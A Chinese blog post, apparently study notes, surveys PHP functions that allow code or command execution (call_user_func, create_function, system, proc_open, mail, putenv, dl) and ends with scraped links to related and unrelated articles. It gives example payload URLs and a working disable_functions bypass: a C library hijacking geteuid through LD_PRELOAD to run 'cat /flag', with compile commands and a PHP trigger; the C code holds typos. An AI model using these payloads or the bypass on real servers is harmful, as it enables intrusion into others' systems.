1.PHP中代码执行的危险函数

call_user_func()

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递

call_user_func($_GET['1'],$_GET['2']);
codeexec.php?1=assert&2=phpinfo()

call_user_func_array()

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

call_user_func_array($_GET['1'],$_GET['2']);

codeexec.php?1=assert&2[]=phpinfo()

create_function

该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

    $a = $_GET['a'];
$b = create_function('$a',"echo $a");
$b('');
codeexec.php?a=phpinfo();

array_map()

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
$array = array(0,1,2,3,4,5);
array_map($_GET[1],$array);
?>
codeexec.php?1=phpinfo
preg_match+/e选项

搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

2.php命令执行函数

system

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。

shell_exec(没有回显的命令执行)

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。(和``反引号效果相同)

passthru

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。

exec(只返回一行数据)

popen

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

proc_open
<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

<?php
$cmd = 'system';
ob_start($cmd); //将命令存储到内部缓冲区
echo "$_GET[a]";
ob_end_flush(); 清除内部缓冲区,此时将输出缓冲区的内容当作参数执行并输入执行结果,即执行system($_GET(a))
?>

mail()  第五个参数 excrt_cmd

第五个参数支持添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。

如果传递了第五个参数(extra_cmd),则用sprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中,随后将sendmail_cmd丢给popen执行,如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的bash 破壳漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制

即mail->poen->bash调用链

但是如果使用了php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail()来触发

putenv()

bool putenv ( string $setting )

添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 即我们能够自定义环境变量

比如:

LD_PRELOAD是Linux系统的下一个有趣的环境变量,它允许你定义在程序运行前优先加载的动态链接库

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,这说明我们几乎可以劫持PHP的大部分函数,比如php的mail函数实际上是调用了系统的sendmail命令,我们选一个库函数geteuid

然后编写一个自己的动态链接程序,tr1ple.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h> void payload(){
system("cat /flag");
} int geteuid(){
if(geteenv("LD_PRELOAD")==NULL){
return ;
}
unsetenv("LD_PRELOAD");
payload();
}

当我们编写的共享库的geteuid函数被调用时将执行命令,测试编译时平台尽量与目标相近。

运行:

gcc -c -fPIC tr1ple.c -o tr1ple
gcc --share tr1ple -o tr1ple.so

此时生成了tr1ple.so,我们将so文件放在web目录下,然后编写php文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/tr1ple.so");
mail("1@2","","","","");
?>

然后访问后就会在web目录下产生2333文件:

所以就达到了劫持geteuid函数的目的,让程序调用我们的恶意so文件中函数,我们让php文件调用putenv来设置一个临时环境变量LD_PRELOAD,以便于在程序执行时去加载我们的so,那么关键就是这里。那么联想一下如果我们能劫持其他库函数,那么也能达到相同的效果,因为php是用c写的,mail调用了sendmail命令,sendmail命令又调用了geteuid函数,那就有以下:

1.如果其他php函数也调用了sendmail命令;

2.如果其它php函数调用系统命令并调用c的库函数

以上两种可能应该都是存在的,都可能产生风险。

assert

它也能来动态代码执行,但是只是php5.x,7.x里就是即使参数是字符串也不执行

dl()

dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,
该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。
当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。
dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。
所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,
包括系统命令。

ini_set()/ini_alter()

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。如果能结合call_user_func函数就能进行调用设置。

不是所有有效的选项都能够用 ini_set() 来改变的。 这里有个有效选项的清单附录,附录地址为https://www.php.net/manual/zh/ini.list.php

imap_mail

imap_mail在执行时也会fork execve,去调用sendmail,因此也会加载我们的so

参数设置与mail相同

参考(侵删):

https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd

PHP危险函数总结学习的更多相关文章

  1. PHP危险函数的持续学习

    记录下遇到过的PHP危险函数 0x01 escapeshellarg()与escapeshellsmd()联合 先给出官方的定义: escapeshellarg ( string $arg ) : s ...

  2. Apache降权和禁用PHP危险函数

    测试环境: Windows Server 2003 + phpstudy 首先在win2003里运行phpstudy,这里注意需要选择应用系统服务模式,应用之后重启phpstudy. 打开系统服务(开 ...

  3. 【随笔】Apache降权和禁用PHP危险函数

    测试环境: Windows Server 2003 + phpstudy 首先在win2003里运行phpstudy,这里注意需要选择应用系统服务模式,应用之后重启phpstudy. 打开系统服务(开 ...

  4. Hive自定义函数的学习笔记(1)

    前言: hive本身提供了丰富的函数集, 有普通函数(求平方sqrt), 聚合函数(求和sum), 以及表生成函数(explode, json_tuple)等等. 但不是所有的业务需求都能涉及和覆盖到 ...

  5. (转载)prepare函数的学习,我要学习php第二天

    (转载)http://www.boyuan78.com/htm/company/2012_1030_60.html prepare函数的学习,我要学习php第二天 $mysqli = new mysq ...

  6. QT QObject::connect函数的学习

      从Qobject(QObject.h)源码中可以看到QObject::connect的定义是这样的: static bool connect(const QObject *sender, cons ...

  7. 禁用了传说中的PHP危险函数之后,Laravel的定时任务不能执行了?

    虽然已是 2018 年,但网上依然流传着一些「高危 PHP 函数,请一定要禁用!」的标题党文章(搜索关键字:一些需要禁用的PHP危险函数). 这些文章的内容简单直接,给出 php.ini 的 disa ...

  8. Matlab中常见的神经网络训练函数和学习函数

    一.训练函数 1.traingd Name:Gradient descent backpropagation (梯度下降反向传播算法 ) Description:triangd is a networ ...

  9. python函数基础学习

    函数的定义与调用: def 函数名(参数1,参数2): ‘’’函数注释’’’ print(‘函数体’) return 返回值 定  义:def关键字开关,空格之后接函数名和圆括号,最后冒号结尾 def ...

随机推荐

  1. ASP.NET--Web服务器端控件和Html控件

    今天学习总结了一些相关概念和知识. 之前无论是做 单机的winform 还是 CS的winform 感觉,不到两年下来感觉还可以,虽然API有很多,但是还是比较熟悉基于WINDOWS消息机制的编程,但 ...

  2. py+selenium 明明定位不到元素,但却不报错或是报错AttributeError: 'list' object has no attribute 'click'【已解决】

    问题:定位不到元素,但却不报错或者出现报错AttributeError: 'list' object has no attribute 'click' 如图  或者  解决方法:   将”driver ...

  3. 个人永久性免费-Excel催化剂功能第17波-批量文件改名、下载、文件夹创建等

    前几天某个网友向我提出催化剂的图片功能是否可以增加导出图片功能,这个功能我一直想不明白为何有必要,图片直接在电脑里设个文件夹维护着不就可以了么?何苦还要把Excel上的图片又重新导出到文件夹中?这个让 ...

  4. MapReduce之WordCount

    用户统计文件中的单词出现的个数 注意各个文件的导包,job的封装步骤 WordCountMapper.java package top.wintp.mapreduce.wordcount; impor ...

  5. maven install时跳过测试

    xl_echo编辑整理,欢迎转载,转载请声明文章来源.欢迎添加echo微信(微信号:t2421499075)交流学习. 百战不败,依不自称常胜,百败不颓,依能奋力前行.--这才是真正的堪称强大!! - ...

  6. 前端基于vue,后台采用springboot+shiro的方式搭建的一个移动端商品展示平台

    基于vue实现的移动端商品展示页,可以web-view的方式嵌入到小程序中,布局简约.大气,减少初学者或开发者不必要的工作量.后台维护采用的springboot+shiro的方式,为广大爱好者提供展示 ...

  7. python课堂整理14---函数式编程

    一.分类 当下主流的编程方法大体分为三类 1. 面向过程 2. 函数式 3. 面向对象 二.函数式编程:函数式 = 编程语言定义的函数 + 数学意义的函数 特征:1. 不可变数据 2. 第一类对象 3 ...

  8. Maven国内镜像 Maven阿里云镜像

    <mirror> <id>nexus-aliyun</id> <mirrorOf>central</mirrorOf> <name&g ...

  9. context创建过程解析(二)之deployWARs

    HostConfig.deployApps() //在监听到start事件类型,也就是StandardHost调用startInternal protected void deployApps() { ...

  10. Windows 使用 helm3 和 kubectl

    简介: 主要原因是,我不会 vim ,在 linux 上修改 charts 的很蹩脚,所以就想着能不能再 windows 上执行 helm 命令,将 charts install linux 上搭建的 ...